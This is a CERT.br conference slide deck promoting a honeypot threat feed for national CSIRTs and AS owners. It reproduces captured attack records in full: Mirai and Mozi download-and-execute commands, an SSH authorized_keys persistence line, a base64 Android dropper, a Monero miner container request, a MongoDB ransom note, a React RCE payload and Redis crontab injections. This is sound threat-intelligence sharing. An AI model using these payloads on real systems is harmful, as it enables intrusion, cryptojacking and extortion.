CERT.br Threat Feeds for AS Owners and National CSIRTs

Ueslei Prado
CERT.br/NIC.br
prado@cert.br

LAC-CSIRTs LACNIC 45
Ciudad de Panamá, Panamá – May 27, 2026

cert.br nic.br cgi.br

TLP:CLEAR

cert.br Computer Emergency Response Team Brazil

National CSIRT of Last Resort

Services Provided to the Community

Incident Management

- Coordination
- Technical Analysis
- Mitigation and Recovery Support

Situational Awareness

- Data Acquisition
  - Distributed Honeypots
  - SpamPots
  - Threat feeds
- Information Sharing

Knowledge Transfer

- Awareness
  - Development of Best Practices
  - Outreach
- Training
- Technical and Policy Advisory

Affiliations and Partnerships:

FIRST MEMBER

M3AAWG Messaging Malware Mobile Anti-Abuse Working Group

Carnegie Mellon University Software Engineering Institute — SEI Partner Network

APWG

Accredited by Trusted Introducer

Mission

To increase the level of security and incident handling capacity of the networks connected to the Internet in Brazil.

Constituency

Any network that uses Internet Resources allocated by NIC.br

- IP addresses or ASNs allocated to Brazil
- domains under the ccTLD .br

Governance

Maintained by **NIC.br** – The National Internet Registry (NIR)

- all activities are funded by .br domain registration

NIC.br is the **executive branch of CGI.br** – The Brazilian Internet Steering Committee

- a multistakeholder organization
- with the purpose of coordinating and integrating all Internet service initiatives in Brazil

https://cert.br/about/
https://cert.br/sobre/filiacoes/
https://cert.br/about/rfc2350/

Agenda

- Why a new feed and how it compares with others
- Source of the data being shared
- Examples of data captured by the listeners
  - coming from LAC address space
  - other interesting payloads observed
- How to request access

TLP:CLEAR

1. Why a New Feed?

We think the data from our honeypots could be useful for the community

- only you can decide if it is valuable
- the feed is ready to share with
  - National CSIRTs
  - ASN owners

2. Is it better?

It is… different

- different vantage point
  - collected in honeypots hosted in Brazil and maintained by CERT.br
  - sensors are not in cloud/hosting IPs
    - hosted on universities, government, ISPs and private companies, including energy and financial sector
- different from open-source honeypots and network telescopes
  - listeners written in-house

About the honeypots

Run on BSD

- TLS aware and deployed in IPv4 and IPv6 IP ranges
- All data enrichment happens at capture time
  - DNS PTR, Source OS fingerprint, ASN, ASN name, CC

About the listeners

- Protocol Specific
  - listeners understand the protocols and record complete sessions
- Protocol Agnostic
  - listens on every UDP/TCP port
  - records all payload

Examples of data captured by the listeners

cert.br nic.br cgi.br

Telnet: compromise attempt via iDRAC default credentials

TLP:CLEAR


```
{
  "timestamp": "2026-05-13T02:25:49.134Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 54828,
  "src_hostname": "NXDOMAIN",
  "src_cc": "VE",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 23,
  "session_id": 11954,
  "payload": {
    "app_proto": "telnet",
    "size": 46,
    "ascii": true,
    "telnet_capable": true,
    "duration": 29.15027618408203,
    "creds": {
      "login": "root",
      "password": "calvin"
    },
    "request": "[\"enable\",\"system\",\"shell\",\"sh\",\"/bin/busybox boat\"]"
  }
}
```

Telnet: Mirai Variant (Probably Hailbot.c)

TLP:CLEAR


```
{
  "timestamp": "2026-05-13T05:35:03.184Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 11409,
  "src_hostname": "NXDOMAIN",
  "src_cc": "CO",
  "src_asn": ASN,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 23,
  "session_id": 42320,
  "payload": {
    "app_proto": "telnet",
    "size": 320,
    "ascii": true,
    "telnet_capable": true,
    "duration": 8.225369930267334,
    "creds": {
      "login": "admin",
      "password": "GeNeXiS@19"
    },
    "request": "[\"sh\",\"shell\",\"enable\",\"system\",\"linuxshell\",\"ping; sh\",\"/bin/busybox
  RICHYLA\",\"/bin/busybox wget http://bins.<DOMAIN>/wget.sh -O- | sh\",\"/bin/busybox tftp -g bins.<DOMAIN> -
  r tftp.sh -l- | sh\",\"/bin/busybox ftpget bins.<DOMAIN> ftpget.sh ftpget.sh && sh ftpget.sh\",\"curl
  http://bins.<DOMAIN>/curl.sh -o- | sh\"]"
  }
}
```

SSH: brute force + adding authorized_keys for persistence

TLP:CLEAR


```
{
  "timestamp": 1778434015.19232,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 33597,
  "src_hostname": "NXDOMAIN",
  "src_cc": "BO",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_port": 2222,
  "session_id": 417,
  "creds": {
    "type": "password",
    "login": "ts3server",
    "credential": "123123"
  },
  "extra": {
    "banner": "SSH-2.0-libssh_0.12.0",
    "channel": "session:exec",
    "timeout": false,
    "duration": 0.5160679817199707
  },
  "request": [
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa <SSH_KEY> mdrfckr\">>.ssh/authorized_keys && chmod -R
  go= ~/.ssh && cd ~"
  ]
}
```

HTTP: Mozi variant exploiting CVE-2018-10562

TLP:CLEAR


```
{
  "timestamp": "2026-05-13T07:00:26.226Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 10564,
  "src_hostname": "<SRC_PTR>",
  "src_cc": "AR",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 80,
  "session_id": 1154,
  "payload": {
    "app_proto": "http",
    "size": 271,
    "ascii": true,
    "headers": "{\"Host\":\"127.0.0.1:80\",\"Connection\":\"keep-alive\",\"Accept-
  Encoding\":\"gzip, deflate\",\"Accept\":\"*/*\",\"User-Agent\":\"Hello, World\",\"Content-
  Length\":\"118\"}",
    "request": "POST /GponForm/diag_Form?images/ HTTP/1.1",
    "data":
  "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://<IP>:10041/Mozi.m+-
  O+->/tmp/gpon80;"
  }
}
```

Fortinet VPN Brute Force

TLP:CLEAR


```
{
  "timestamp": "2026-05-12T04:11:57.230Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 48154,
  "src_hostname": "<SRC_PTR>",
  "src_cc": "BR",
  "src_asn": ASN,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 443,
  "session_id": 1377,
  "tls": "TLSv1.3 / TLS_AES_256_GCM_SHA384",
  "payload": {
    "app_proto": "https",
    "size": 142,
    "ascii": true,
    "headers": "{\"Host\":\"<SENSOR_IP>\",\"User-Agent\":\"Mozilla/5.0 (Android 13; Mobile;
  rv:131.0.1) Gecko/131.0.1 Firefox/131.0.1\",\"Connection\":\"close\"}",
    "request": "GET /remote/login HTTP/1.1"
  }
}
```

Android Debug Bridge (ADB): Checking for Crypto Miner

TLP:CLEAR


```
{
  "timestamp": "2026-05-13T05:16:16.234Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 39962,
  "src_hostname": "NXDOMAIN",
  "src_cc": "PA",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 3.1-3.10",
  "proto": "TCP",
  "dst_port": 5555,
  "session_id": 344,
  "payload": {
    "app_proto": "adb",
    "size": 52,
    "ascii": true,
    "headers": "cmd: A_OPEN, arg0: 0x7d8, arg1: 0x00",
    "data": "shell:pm path com.ufo.miner\u0000"
  }
}
```

ADB: Android trojan APK constructed using echo + base64

TLP:CLEAR


```
{
  "timestamp": "2026-05-13T02:10:39.656Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 37316,
  "src_hostname": "<SRC_PTR>",
  "src_cc": "PY",
  "src_asn": ASN,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 5555,
  "session_id": 189,
  "payload": {
    "app_proto": "adb",
    "size": 49990,
    "ascii": true,
    "headers": "cmd: A_OPEN, arg0: 0x46, arg1: 0x00",
    "data": "shell,v2:echo 'H4sIAAAAAAAAA41 […] GXFT4TMHAAA=' | base64 -d | gzip -d |
  sh -s -- 'H4sIAAAAAAAAANy3ZVR […] e21jV/691/AOG9XFnRogAA' '41681'\\0"
  }
}
```


VirusTotal partial output:
Avast-Mobile: APK:RepMalware [Trj]
Kaspersky: HEUR:Trojan.AndroidOS.Piom.buky

Docker: Monero miner container creation

TLP:CLEAR


```
{
  "timestamp": 1766710972.0462928,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 43320,
  "src_ptr": "NXDOMAIN",
  "src_cc": "FR",
  "src_asn": <ASN>,
  "src_asname": "<SRC_ASN>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 1585,
  "tls": null,
  "size": 734,
  "request": "POST /containers/create HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "python-requests/2.31.0",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Content-Length": "538",
    "Content-Type": "application/json"
  },
  "ascii": true,
  "data": "{\"Image\": \"metal3d/xmrig:latest\", \"Cmd\": [\"-o\", \"<IP>:3333\", \"--tls\", \"-o\", \"<IP>:443\", \"-o\",
   \"gulf.moneroocean.stream:20128\", \"--tls\", \"-u\", \"<MONERO_WALLET>\", \"-p\", \"x\", \"--donate-level=1\", \"--cpu-max-
   threads-hint=100\"], \"HostConfig\": {\"Privileged\": true, \"RestartPolicy\": {\"Name\": \"always\"}, \"NetworkMode\":
   \"host\", \"CpuShares\": 1024, \"CpuCount\": 0, \"Memory\": 0, \"MemorySwap\": -1, \"OomKillDisable\": true, \"PidsLimit\": -
   1}}"
}
```

MongoDB: ransomware

TLP:CLEAR


```
{
  "timestamp": 1769972796.4233637,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 40440,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 27017,
  "session_id": 2434,
  "tls": null,
  "size": 108,
  "request": {
    "dropDatabase": 1,
    "comment": null,
    "lsid": {
      "id": "<LSID>"
    },
    "$db": "local"
  }
}
```

```
{
  "timestamp": 1769972796.4233637,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 40440,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 27017,
  "session_id": 2434,
  "tls": null,
  "size": 529,
  "request": {
    "insert": "README",
    "ordered": true,
    "lsid": {
      "id": "<LSID>"
    },
    "$db": "READ__ME_TO_RECOVER_YOUR_DATA",
    "_id": "<ID>",
    "content": "All your data is backed up. You must pay 0.0064 BTC to
  <WALLET> In 48 hours, your data will be publicly disclosed and
  deleted. (more information: go to http://<URL>)After paying send mail
  to us: <ATTACKER>+<DB_CODE>@onionmail.org and we will provide a link
  for you to download your data. Your DBCODE is: <DB_CODE>"
  }
}
```

React Exploit

TLP:CLEAR


```
{
  "timestamp": 1769913916.4011025,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 51688,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "NL",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 3001,
  "session_id": 708184,
  "tls": null,
  "size": 1488,
  "ascii": true,
  "data": "POST / HTTP/1.1\r\nHost: <SENSOR_IP>:3001\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 1251\r\nAccept:
   */*\r\nConnection: close\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\r\nNext-Action:
   x\r\nAccept-Encoding: gzip\r\n\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\
   \\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-
   Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------
   WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
   name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constru
   ctor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res =
   process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp; rm -rf *; wget http://<IP>:1/xd.x86; curl -O
   http://<IP>:1/xd.x86; chmod 777 xd.x86; ./xd.x86 nextjs\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE
   RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n
   console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n"
}
```

Redis: RCE via crontab overwrite

TLP:CLEAR


```
{
  "timestamp": 1769948866.723155,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 39236,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": ”<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 6379,
  "session_id": 388,
  "tls": null,
  "size": 127,
  "ascii": true,
  "request":
  "*3\r\n$3\r\nset\r\n$7\r\nbackup2\r\n$94\r\n\n\n\n
  */3 * * * * wget -q -O- http://<IP>/plugins-
  dist/safehtml/lang/font/kworker | sh\n\n\r\n"
}
```

```
{
  "timestamp": 1769915916.4124842,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 45544,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "FI",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 6379,
  "session_id": 366,
  "tls": null,
  "size": 126,
  "ascii": true,
  "request":
  "*3\r\n$3\r\nset\r\n$7\r\nbackup3\r\n$93\r\n\n\n\n
  */4 * * * * curl -fsSL http://<IP>/plugins-
  dist/safehtml/lang/font/kworker | sh\n\n\r\n"
}
```

How to Request a Feed

cert.br nic.br cgi.br

How to request access

- Send an email to
  <feeds@cert.br>
  informing
  - Country Code or ASN
- You'll receive
  - the credentials
  - a dedicated link to a daily file
    - with hourly additions

Who qualifies to receive a feed

- National CSIRTs
  - Based on Country Code (CC)
  - We determine the IP CC via the MaxMind Geolocation API
- Autonomous System Owners
  - You provide the AS Number
  - We will try to verify you are responsible for the given AS to the best of our ability
    - if we cannot, we won't share

Thank You!

@ Feed requests to: feeds@cert.br

@ Incident reports to: cert@cert.br

X @certbr

https://cert.br/

nic.br cgi.br

www.nic.br | www.cgi.br